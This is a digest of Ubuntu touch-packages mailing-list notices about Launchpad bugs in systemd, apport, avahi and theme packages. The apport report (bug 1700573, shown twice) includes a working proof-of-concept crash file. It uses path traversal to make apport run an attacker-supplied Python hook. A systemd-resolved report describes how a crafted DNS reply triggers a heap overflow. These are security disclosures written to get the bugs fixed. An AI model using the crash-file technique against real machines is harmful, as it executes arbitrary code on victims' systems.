  Those two statements in section [Service] lead to the following two
  error messages in dmesg:

  [3.687475] systemd[1]: 
[/lib/systemd/system/systemd-resolved.service.d/resolvconf.conf:12] Executable 
path is not absolute, ignoring: +/bin/sh -c '[ ! -e 
/run/resolvconf/enable-updates ] || echo "nameserver 127.0.0.53" | 
/sbin/resolvconf -a systemd-resolved'
  [3.687614] systemd[1]: 
[/lib/systemd/system/systemd-resolved.service.d/resolvconf.conf:13] Executable 
path is not absolute, ignoring: +/bin/sh -c '[ ! -e 
/run/resolvconf/enable-updates ] || /sbin/resolvconf -d systemd-resolved'
  ---
  ApportVersion: 2.20.1-0ubuntu2.9
  Architecture: amd64
  CurrentDesktop: LXDE
  DistroRelease: Ubuntu 16.04
  MachineType: LENOVO 42406AG
  Package: systemd 229-4ubuntu18
  PackageArchitecture: amd64
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-85-lowlatency 
root=UUID=1756e76f-2b6c-479f-8ea3-e3b087b1922f ro quiet apparmor=0
  ProcVersionSignature: Ubuntu 4.4.0-85.108-lowlatency 4.4.73
  Tags: xenial package-from-proposed third-party-packages
  Uname: Linux 4.4.0-85-lowlatency x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm audio cdrom colord davfs2 dialout dip fax floppy libvirtd 
lpadmin netdev plugdev saned scanner sudo tape video wireshark
  _MarkForUpload: True
  dmi.bios.date: 09/20/2016
  dmi.bios.vendor: LENOVO
  dmi.bios.version: 8AET66WW (1.46 )
  dmi.board.asset.tag: Not Available
  dmi.board.name: 42406AG
  dmi.board.vendor: LENOVO
  dmi.board.version: Not Available
  

[Touch-packages] [Bug 1686784] Re: no predictable names for platform (non-PCI) NICs

[Adam Conrad]

Hello dann, or anyone else affected,

Accepted systemd into xenial-proposed. The package will build now and be
available at https://launchpad.net/ubuntu/+source/systemd/229-4ubuntu19
in a few hours, and then in the -proposed repository.

Please help us by testing this new package.  See
https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how
to enable and use -proposed.Your feedback will aid us getting this
update out to other Ubuntu users.

If this package fixes the bug for you, please add a comment to this bug,
mentioning the version of the package you tested and change the tag from
verification-needed-xenial to verification-done-xenial. If it does not
fix the bug for you, please add a comment stating that, and change the
tag to verification-failed-xenial. In either case, details of your
testing will help us make a better decision.

Further information regarding the verification process can be found at
https://wiki.ubuntu.com/QATeam/PerformingSRUVerification .  Thank you in
advance!

** Tags removed: verification-done verification-done-xenial
** Tags added: verification-needed verification-needed-xenial

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1686784

Title:
  no predictable names for platform (non-PCI) NICs

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Xenial:
  Fix Committed
Status in systemd source package in Yakkety:
  In Progress
Status in systemd source package in Zesty:
  Fix Released

Bug description:
  [Impact]
  Systems may have NICs attached to the "platform" bus. These are NICs that are 
onboard, but not attached to a PCI(-like) bus. Rather, they are described by 
firmware directly. None of the naming policies enabled by Ubuntu by default 
matches these NICs, so they end up having unpredictable names. In the case 
where other NICs are attached (e.g. PCIe cards), the ethN enumeration race 
occurs, making it impossible to have an interface name that is persistent 
across reboots. That is, if you do a network install over "eth0", on reboot 
that NIC now maybe "eth3", which causes it to fail to start the network on boot.

  The HiSilicon D05 boards are an example of this. It has 4 onboard NICs
  that are described by ACPI directly, and may also have other PCIe NICs
  plugged in.

  [Test Case]
  Boot a system with the characteristics described above, and check to see if 
any "ethN" interfaces exist.

  [Regression Risk]
  Unless one fixed the names locally with .netlink / .rules files the interface 
names will change for the ACPI/platform bus network interfaces, from random 
ethX names to stable names named like enaVENDORMODELiX. Thus we should check 
that this update doesn't negatively break certified ARM64 platforms with: ARM, 
NVIDIA, HISILICON platform bus ethernet devices.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1686784/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1695546] Re: Out of bounds write in resolved with crafted TCP responses

[Adam Conrad]

Hello Chris, or anyone else affected,

Accepted systemd into xenial-proposed. The package will build now and be
available at https://launchpad.net/ubuntu/+source/systemd/229-4ubuntu19
in a few hours, and then in the -proposed repository.

Please help us by testing this new package.  See
https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how
to enable and use -proposed.Your feedback will aid us getting this
update out to other Ubuntu users.

If this package fixes the bug for you, please add a comment to this bug,
mentioning the version of the package you tested and change the tag from
verification-needed-xenial to verification-done-xenial. If it does not
fix the bug for you, please add a comment stating that, and change the
tag to verification-failed-xenial. In either case, details of your
testing will help us make a better decision.

Further information regarding the verification process can be found at
https://wiki.ubuntu.com/QATeam/PerformingSRUVerification .  Thank you in
advance!

** Tags removed: verification-done verification-done-xenial
** Tags added: verification-needed verification-needed-xenial

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1695546

Title:
  Out of bounds write in resolved with crafted TCP responses

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Xenial:
  Fix Committed
Status in systemd source package in Yakkety:
  Fix Released
Status in systemd source package in Zesty:
  Fix Released
Status in systemd source package in Artful:
  Fix Released

Bug description:
  [Impact]
  Certain sizes passed to dns_packet_new can cause it to allocate a buffer 
that's too small. A page-aligned number - sizeof(DnsPacket) + sizeof(iphdr) + 
sizeof(udphdr) will do this - so, on x86 this will be a page-aligned number - 
80. Eg, calling dns_packet_new with a size of 4016 will result in an allocation 
of 4096 bytes, but 108 bytes of this are for the DnsPacket struct.

  A malicious DNS server can exploit this by responding with a specially
  crafted TCP payload to trick systemd-resolved in to allocating a
  buffer that's too small, and subsequently write arbitrary data beyond
  the end of it.

  To demonstrate this you can run the attached python script. This is a
  mock DNS server that sends a response where the first two bytes of the
  TCP payload specify a size of 4016 (note, this size is picked to
  trigger an out of bounds write on x86 - you'll probably need to pick a
  different number for x86-64). You'll need to temporarily set your DNS
  server to 127.0.0.1.

  [Testcase]
  Launch the attached script on i386, point resolved at the started dns server, 
execute a dns query via resolved observe that it crashes.
  Upgrade systemd package and observe that resolved no longer crashes.

  [Regression Potential]
  Low, resolved is not used by default in xenial. This is a bug fix to 
resolved, in case somebody does use resolved in xenial.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1695546/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1692136] Re: Backport "core/timer: downgrade message about random time addition (#5229)".

[Adam Conrad]

Hello Vinson, or anyone else affected,

Accepted systemd into xenial-proposed. The package will build now and be
available at https://launchpad.net/ubuntu/+source/systemd/229-4ubuntu19
in a few hours, and then in the -proposed repository.

Please help us by testing this new package.  See
https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how
to enable and use -proposed.Your feedback will aid us getting this
update out to other Ubuntu users.

If this package fixes the bug for you, please add a comment to this bug,
mentioning the version of the package you tested and change the tag from
verification-needed-xenial to verification-done-xenial. If it does not
fix the bug for you, please add a comment stating that, and change the
tag to verification-failed-xenial. In either case, details of your
testing will help us make a better decision.

Further information regarding the verification process can be found at
https://wiki.ubuntu.com/QATeam/PerformingSRUVerification .  Thank you in
advance!

** Tags removed: verification-done verification-done-xenial
** Tags added: verification-needed verification-needed-xenial

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1692136

Title:
  Backport "core/timer: downgrade message about random time addition
  (#5229)".

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Xenial:
  Fix Committed
Status in systemd source package in Yakkety:
  In Progress
Status in systemd source package in Zesty:
  Fix Released

Bug description:
  [Impact]

   * Systemd spams logs too much with pointless messages

  [Test Case]

   * Boot system and observe no pointless messages of scheduling random
  timers for things at a given offset

  [Regression Potential]

   * Low, this patch simply changes the priority of the message from
  info to debug.

  [Original bug report]

  Please backport upstream systemd v233 commit
  382852fd581efe3cc0ae11154102ab9f435adea1 "core/timer: downgrade
  message about random time addition (#5229)".
  
https://github.com/systemd/systemd/commit/382852fd581efe3cc0ae11154102ab9f435adea1

  This removes "random time" messages flooding dmesg.

  The spew was introduced with v229 commit "core: add new RandomSec=
  setting for time units".
  
https://github.com/systemd/systemd/commit/744c7693751830149ae78fdaf95c6c6f99d59f07

  trusty based off v204 is not affected.

  xenial based off v229, yakkety based off v231, and zesty based off
  v232 need this fix.

  artful based off v233 has the fix.

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1692136/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1417010] Re: Reloading services can result in a deadlock under systemd

[Bug Watch Updater]

** Changed in: samba (Debian)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to sysvinit in Ubuntu.
https://bugs.launchpad.net/bugs/1417010

Title:
  Reloading services can result in a deadlock under systemd

Status in systemd package in Ubuntu:
  Fix Released
Status in sysvinit package in Ubuntu:
  Fix Released
Status in samba package in Debian:
  Fix Released
Status in systemd package in Debian:
  Fix Released
Status in sysvinit package in Debian:
  Fix Released

Bug description:
  since today (although haven't rebooted in a few days), systemd init is
  hanging trying to bring up ifup@eth0. I had to revert to upstart boot
  to get in, although sometimes it would successfully boot with systemd
  .debug-shell

  JOB UNIT TYPE  STATE  
  120 winbind.service  start waiting
  175 nmbd.service start waiting
  159 libvirt-bin.service  start waiting
  151 dns-clean.servicestart waiting
  116 vmware-workstation-server.servicestart waiting
  177 smbd.service start waiting
  178 fail2ban.service start waiting
  331 rpcbind.service  start waiting
  109 apache2.service  start waiting
  124 openvpn.service  start waiting
  184 x-display-manager.target start waiting
  173 vmware.service   start waiting
  143 getty@tty1.service   start waiting
  141 samba-ad-dc.service  start waiting
2 multi-user.targetstart waiting
  332 rpcbind.target   start waiting
  108 hddtemp.service  start waiting
  172 plymouth-quit-wait.service   start waiting
  152 autofs.service   start waiting
  123 schroot.service  start waiting
  130 mail-transport-agent.target  start waiting
  129 postfix.service  start waiting
  128 isc-dhcp-server.service  start waiting
  131 mysql.servicestart waiting
  142 getty.target start waiting
  164 sabnzbdplus.service  start waiting
1 graphical.target start waiting
  176 apt-cacher-ng.servicestart waiting
  183 gdm.service  start waiting
  174 ssh.service  start waiting
   77 network-online.targetstart waiting
  112 systemd-update-utmp-runlevel.service start waiting
  133 urfkill.service  start waiting
  111 kerneloops.service   start waiting
  161 rc-local.service start waiting
  106 lxc.service  start waiting
  107 lxc-net.service  start waiting
  155 virtualbox.service   start waiting
  191 ifup@eth0.servicestart running
   50 network.target   start waiting

  40 jobs listed.
  * ifup@eth0.service - ifup for eth0
 Loaded: loaded (/lib/systemd/system/ifup@.service; static; vendor preset: 
enabled)
 Active: activating (start-post) since Mon 2015-02-02 19:17:25 AEDT; 9min 
ago
Process: 800 ExecStart=/sbin/ifup --allow=hotplug %I (code=exited, 
status=0/SUCCESS)
   Main PID: 800 (code=exited, status=0/SUCCESS); : 803 (ifup)
 CGroup: /system.slice/system-ifup.slice/ifup@eth0.service
 `-control
   |- 803 /sbin/ifup --allow=auto eth0
   |- 832 /bin/sh -c dhclient -1 -v -pf /run/dhclient.eth0.pid -lf 
/var/lib/dhcp/dhclient.eth0.leases eth0  
   |- 833 dhclient -1 -v -pf /run/dhclient.eth0.pid -lf 
/var/lib/dhcp/dhclient.eth0.leases eth0
   |-1269 /bin/sh /sbin/dhclient-script
   |-1273 /bin/sh /usr/sbin/invoke-rc.d smbd reload
   `-1294 systemctl reload smbd.service

  Feb 02 19:17:25 duhast dhclient[833]: Sending on   Socket/fallback
  Feb 02 19:17:25 duhast dhclient[833]: DHCPREQUEST of 192.168.15.67 on eth0 to 
255.255.255.255 port 67 (xid=0x502572c4)
  Feb 02 19:17:25 duhast ifup[803]: Listening on LPF/eth0/1c:6f:65:c4:63:1b
  Feb 02 19:17:25 duhast ifup[803]: Sending on   LPF/eth0/1c:6f:65:c4:63:1b
  Feb 02 19:17:25 duhast ifup[803]: Sending on   Socket/fallback
  Feb 02 19:17:25 duhast ifup[803]: DHCPREQUEST of 192.168.15.67 on eth0 to 
255.255.255.255 port 67 (xid=0x502572c4)
  Feb 02 19:17:28 duhast dhclient[833]: DHCPREQUEST of 192.168.15.67 on eth0 to 
255.255.255.255 port 67 (xid=0x502572c4)
  Feb 02 19:17:28 duhast ifup[803]: DHCPREQUEST of 192.168.15.67 on eth0 to 
255.255.255.255 port 67 (xid=0x502572c4)
  Feb 02 19:17:28 duhast dhclient[833]: DHCPACK of 192.168.15.67 from 
192.168.15.1
  Feb 02 19:17:28 duhast ifup[803]: DHCPACK of 

[Touch-packages] [Bug 1705130] [NEW] weird decoration for software center first setup

[fcole90]

Public bug reported:

The software center, during the first setup, has a weird decoration.

ProblemType: Bug
DistroRelease: Ubuntu 17.10
Package: light-themes 16.10+17.10.20170703-0ubuntu1
ProcVersionSignature: Ubuntu 4.11.0-10.15-generic 4.11.8
Uname: Linux 4.11.0-10-generic x86_64
ApportVersion: 2.20.5-0ubuntu5
Architecture: amd64
CurrentDesktop: GNOME
Date: Tue Jul 18 23:08:19 2017
InstallationDate: Installed on 2015-03-21 (850 days ago)
InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Alpha amd64 (20150321)
PackageArchitecture: all
SourcePackage: ubuntu-themes
UpgradeStatus: Upgraded to artful on 2017-07-18 (0 days ago)

** Affects: ubuntu-themes (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug artful julyshakedown third-party-packages 
wayland-session

** Attachment added: "Screenshot from 2017-07-18 13-12-59.png"
   
https://bugs.launchpad.net/bugs/1705130/+attachment/4917193/+files/Screenshot%20from%202017-07-18%2013-12-59.png

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu.
https://bugs.launchpad.net/bugs/1705130

Title:
  weird decoration for software center first setup

Status in ubuntu-themes package in Ubuntu:
  New

Bug description:
  The software center, during the first setup, has a weird decoration.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: light-themes 16.10+17.10.20170703-0ubuntu1
  ProcVersionSignature: Ubuntu 4.11.0-10.15-generic 4.11.8
  Uname: Linux 4.11.0-10-generic x86_64
  ApportVersion: 2.20.5-0ubuntu5
  Architecture: amd64
  CurrentDesktop: GNOME
  Date: Tue Jul 18 23:08:19 2017
  InstallationDate: Installed on 2015-03-21 (850 days ago)
  InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Alpha amd64 (20150321)
  PackageArchitecture: all
  SourcePackage: ubuntu-themes
  UpgradeStatus: Upgraded to artful on 2017-07-18 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubuntu-themes/+bug/1705130/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705129] [NEW] Highlighted items have a white text but keep a black arrow

[fcole90]

Public bug reported:

In some menus, like the one in the picture, the highlighted items have a
white text but a black arrow. In this specific screenshot I'm referring
to the Tool text with the black arrow on the side. I think it would be
more consistent and visually pleasant if they could have the same color.

ProblemType: Bug
DistroRelease: Ubuntu 17.10
Package: light-themes 16.10+17.10.20170703-0ubuntu1
ProcVersionSignature: Ubuntu 4.11.0-10.15-generic 4.11.8
Uname: Linux 4.11.0-10-generic x86_64
ApportVersion: 2.20.5-0ubuntu5
Architecture: amd64
CurrentDesktop: GNOME
Date: Tue Jul 18 22:56:28 2017
InstallationDate: Installed on 2015-03-21 (850 days ago)
InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Alpha amd64 (20150321)
PackageArchitecture: all
SourcePackage: ubuntu-themes
UpgradeStatus: Upgraded to artful on 2017-07-18 (0 days ago)

** Affects: ubuntu-themes (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug artful julyshakedown third-party-packages 
wayland-session

** Attachment added: "Screenshot cropped from 2017-07-18 12-02-58.png"
   
https://bugs.launchpad.net/bugs/1705129/+attachment/4917188/+files/Screenshot%20cropped%20from%202017-07-18%2012-02-58.png

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu.
https://bugs.launchpad.net/bugs/1705129

Title:
  Highlighted items have a white text but keep a black arrow

Status in ubuntu-themes package in Ubuntu:
  New

Bug description:
  In some menus, like the one in the picture, the highlighted items have
  a white text but a black arrow. In this specific screenshot I'm
  referring to the Tool text with the black arrow on the side. I think
  it would be more consistent and visually pleasant if they could have
  the same color.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: light-themes 16.10+17.10.20170703-0ubuntu1
  ProcVersionSignature: Ubuntu 4.11.0-10.15-generic 4.11.8
  Uname: Linux 4.11.0-10-generic x86_64
  ApportVersion: 2.20.5-0ubuntu5
  Architecture: amd64
  CurrentDesktop: GNOME
  Date: Tue Jul 18 22:56:28 2017
  InstallationDate: Installed on 2015-03-21 (850 days ago)
  InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Alpha amd64 (20150321)
  PackageArchitecture: all
  SourcePackage: ubuntu-themes
  UpgradeStatus: Upgraded to artful on 2017-07-18 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubuntu-themes/+bug/1705129/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1700573] Re: Code execution through path traversal in .crash files processing

[Brian Murray]

** Changed in: apport (Ubuntu Artful)
   Status: Confirmed => In Progress

** Changed in: apport (Ubuntu Artful)
 Assignee: (unassigned) => Brian Murray (brian-murray)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1700573

Title:
  Code execution through path traversal in .crash files processing

Status in Apport:
  Fix Released
Status in apport package in Ubuntu:
  In Progress
Status in apport source package in Trusty:
  Fix Released
Status in apport source package in Xenial:
  Fix Released
Status in apport source package in Yakkety:
  Fix Released
Status in apport source package in Zesty:
  Fix Released
Status in apport source package in Artful:
  In Progress

Bug description:
  The function add_hooks_info in apport/report.py is vulnerable to a
  directory traversal when processing the ExecutablePath key of a
  malicious .crash file:

  opt_path = None
  if self.get('ExecutablePath', '').startswith(_opt_dir):
  opt_path = self.get('ExecutablePath', '')
  elif package:
  # check package contents
  try:
  for f in apport.packaging.get_files(package):
  if f.startswith(_opt_dir) and os.path.isfile(f):
  opt_path = f
  break
  except ValueError:
  # uninstalled package
  pass

  if opt_path:
  while len(opt_path) >= len(_opt_dir):
  hook_dirs.append(os.path.join(opt_path, 'share', 'apport', 
'package-hooks'))
  opt_path = os.path.dirname(opt_path)

  
  This can be used to execute an arbitrary python script from an attacker 
controlled path when a crash file is opened:

  fwilhelm@box:~$ cat poc.crash 
  ProblemType: Bug
  ExecutablePath: /opt/../tmp/poc/share/apport/package-hooks
  Package: f

  fwilhelm@box:~$ cat /tmp/poc/share/apport/package-hooks/f.py 
  import os
  os.system("gnome-calculator")

  fwilhelm@bpx:~$ strace -eprocess -f /usr/share/apport/apport-gtk poc.crash 
2>&1 | grep gnome-calculator
  [pid 62617] execve("/bin/sh", ["sh", "-c", "gnome-calculator"], [/* 65 vars 
*/]) = 0
  [pid 62617] execve("/usr/bin/gnome-calculator", ["gnome-calculator"], [/* 64 
vars */]) = 0

  The sub directory requirement makes this a bit tricky to exploit
  remotely, but depending on the environment a malicious USB drive, a
  shared NFS share or a crash file inside an archive could be used.

  Please credit Felix Wilhelm from the Google Security Team in all
  releases, patches and advisories related to these issues.

To manage notifications about this bug go to:
https://bugs.launchpad.net/apport/+bug/1700573/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705127] Re: App integrated menus have blurry parts

[fcole90]

** Attachment added: "Screenshot cropped from 2017-07-18 12-02-58.png"
   
https://bugs.launchpad.net/ubuntu/+source/ubuntu-themes/+bug/1705127/+attachment/4917185/+files/Screenshot%20cropped%20from%202017-07-18%2012-02-58.png

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu.
https://bugs.launchpad.net/bugs/1705127

Title:
  App integrated menus have blurry parts

Status in ubuntu-themes package in Ubuntu:
  New

Bug description:
  If you check the balloon arrow in the picture (just below the Save
  button) you can see as that part is very blurry compared to the other
  parts of the balloon.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: light-themes 16.10+17.10.20170703-0ubuntu1
  ProcVersionSignature: Ubuntu 4.11.0-10.15-generic 4.11.8
  Uname: Linux 4.11.0-10-generic x86_64
  ApportVersion: 2.20.5-0ubuntu5
  Architecture: amd64
  CurrentDesktop: GNOME
  Date: Tue Jul 18 22:50:47 2017
  InstallationDate: Installed on 2015-03-21 (850 days ago)
  InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Alpha amd64 (20150321)
  PackageArchitecture: all
  SourcePackage: ubuntu-themes
  UpgradeStatus: Upgraded to artful on 2017-07-18 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubuntu-themes/+bug/1705127/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705127] [NEW] App integrated menus have blurry parts

[fcole90]

Public bug reported:

If you check the balloon arrow in the picture (just below the Save
button) you can see as that part is very blurry compared to the other
parts of the balloon.

ProblemType: Bug
DistroRelease: Ubuntu 17.10
Package: light-themes 16.10+17.10.20170703-0ubuntu1
ProcVersionSignature: Ubuntu 4.11.0-10.15-generic 4.11.8
Uname: Linux 4.11.0-10-generic x86_64
ApportVersion: 2.20.5-0ubuntu5
Architecture: amd64
CurrentDesktop: GNOME
Date: Tue Jul 18 22:50:47 2017
InstallationDate: Installed on 2015-03-21 (850 days ago)
InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Alpha amd64 (20150321)
PackageArchitecture: all
SourcePackage: ubuntu-themes
UpgradeStatus: Upgraded to artful on 2017-07-18 (0 days ago)

** Affects: ubuntu-themes (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug artful julyshakedown third-party-packages 
wayland-session

** Tags added: julyshakedown

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu.
https://bugs.launchpad.net/bugs/1705127

Title:
  App integrated menus have blurry parts

Status in ubuntu-themes package in Ubuntu:
  New

Bug description:
  If you check the balloon arrow in the picture (just below the Save
  button) you can see as that part is very blurry compared to the other
  parts of the balloon.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: light-themes 16.10+17.10.20170703-0ubuntu1
  ProcVersionSignature: Ubuntu 4.11.0-10.15-generic 4.11.8
  Uname: Linux 4.11.0-10-generic x86_64
  ApportVersion: 2.20.5-0ubuntu5
  Architecture: amd64
  CurrentDesktop: GNOME
  Date: Tue Jul 18 22:50:47 2017
  InstallationDate: Installed on 2015-03-21 (850 days ago)
  InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Alpha amd64 (20150321)
  PackageArchitecture: all
  SourcePackage: ubuntu-themes
  UpgradeStatus: Upgraded to artful on 2017-07-18 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubuntu-themes/+bug/1705127/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1586528] Re: Avahi-daemon withdraws address record

[Leen Droogendijk]

Same problem. Using Mint. No VM involved.
Switched from Windows to Linux just a few days ago.
This occurred two times in three days now.
Never did anything network related, so all my settings should be the default 
ones.

$ sudo lshw -class network
  *-network   
   description: Ethernet interface
   product: RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller
   vendor: Realtek Semiconductor Co., Ltd.
   physical id: 0
   bus info: pci@:03:00.0
   logical name: enp3s0
   version: 0c
   serial: e0:3f:49:e8:4f:66
   size: 1Gbit/s
   capacity: 1Gbit/s
   width: 64 bits
   clock: 33MHz
   capabilities: pm msi pciexpress msix vpd bus_master cap_list ethernet 
physical tp mii 10bt 10bt-fd 100bt 100bt-fd 1000bt 1000bt-fd autonegotiation
   configuration: autonegotiation=on broadcast=yes driver=r8169 
driverversion=2.3LK-NAPI duplex=full firmware=rtl8168g-2_0.0.1 02/06/13 
ip=192.168.2.1 latency=0 link=yes multicast=yes port=MII speed=1Gbit/s
   resources: irq:27 ioport:d000(size=256) memory:f710-f7100fff 
memory:f210-f2103fff

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1586528

Title:
  Avahi-daemon withdraws address record

Status in avahi package in Ubuntu:
  Invalid
Status in network-manager package in Ubuntu:
  Confirmed

Bug description:
  For some reason, if I leave my Ubuntu VM up for a prolonged period of
  time the machine will lose connection to the network.  ip addr shows
  that the nic port no longer has an address and an examination of the
  syslog shows this:

  May 27 14:19:38 matt-VirtualBox avahi-daemon[590]: Withdrawing address record 
for 10.0.2.15 on enp0s3.
  May 27 14:19:38 matt-VirtualBox avahi-daemon[590]: Leaving mDNS multicast 
group on interface enp0s3.IPv4 with address 10.0.2.15.
  May 27 14:19:38 matt-VirtualBox avahi-daemon[590]: Interface enp0s3.IPv4 no 
longer relevant for mDNS.

  
  for no known reason.

  The only reliable way to get the network to come back (that I have
  found) is a full reboot.

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: avahi-daemon 0.6.32~rc+dfsg-1ubuntu2
  ProcVersionSignature: Ubuntu 4.4.0-22.40-generic 4.4.8
  Uname: Linux 4.4.0-22-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2
  Architecture: amd64
  CurrentDesktop: Unity
  Date: Fri May 27 15:11:34 2016
  InstallationDate: Installed on 2015-10-22 (218 days ago)
  InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021)
  SourcePackage: avahi
  UpgradeStatus: Upgraded to xenial on 2016-03-30 (58 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/avahi/+bug/1586528/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1700573] Re: Code execution through path traversal in .crash files processing

[Ubuntu Foundations Team Bug Bot]

** Tags added: patch

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1700573

Title:
  Code execution through path traversal in .crash files processing

Status in Apport:
  Fix Released
Status in apport package in Ubuntu:
  Confirmed
Status in apport source package in Trusty:
  Fix Released
Status in apport source package in Xenial:
  Fix Released
Status in apport source package in Yakkety:
  Fix Released
Status in apport source package in Zesty:
  Fix Released
Status in apport source package in Artful:
  Confirmed

Bug description:
  The function add_hooks_info in apport/report.py is vulnerable to a
  directory traversal when processing the ExecutablePath key of a
  malicious .crash file:

  opt_path = None
  if self.get('ExecutablePath', '').startswith(_opt_dir):
  opt_path = self.get('ExecutablePath', '')
  elif package:
  # check package contents
  try:
  for f in apport.packaging.get_files(package):
  if f.startswith(_opt_dir) and os.path.isfile(f):
  opt_path = f
  break
  except ValueError:
  # uninstalled package
  pass

  if opt_path:
  while len(opt_path) >= len(_opt_dir):
  hook_dirs.append(os.path.join(opt_path, 'share', 'apport', 
'package-hooks'))
  opt_path = os.path.dirname(opt_path)

  
  This can be used to execute an arbitrary python script from an attacker 
controlled path when a crash file is opened:

  fwilhelm@box:~$ cat poc.crash 
  ProblemType: Bug
  ExecutablePath: /opt/../tmp/poc/share/apport/package-hooks
  Package: f

  fwilhelm@box:~$ cat /tmp/poc/share/apport/package-hooks/f.py 
  import os
  os.system("gnome-calculator")

  fwilhelm@bpx:~$ strace -eprocess -f /usr/share/apport/apport-gtk poc.crash 
2>&1 | grep gnome-calculator
  [pid 62617] execve("/bin/sh", ["sh", "-c", "gnome-calculator"], [/* 65 vars 
*/]) = 0
  [pid 62617] execve("/usr/bin/gnome-calculator", ["gnome-calculator"], [/* 64 
vars */]) = 0

  The sub directory requirement makes this a bit tricky to exploit
  remotely, but depending on the environment a malicious USB drive, a
  shared NFS share or a crash file inside an archive could be used.

  Please credit Felix Wilhelm from the Google Security Team in all
  releases, patches and advisories related to these issues.

To manage notifications about this bug go to:
https://bugs.launchpad.net/apport/+bug/1700573/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
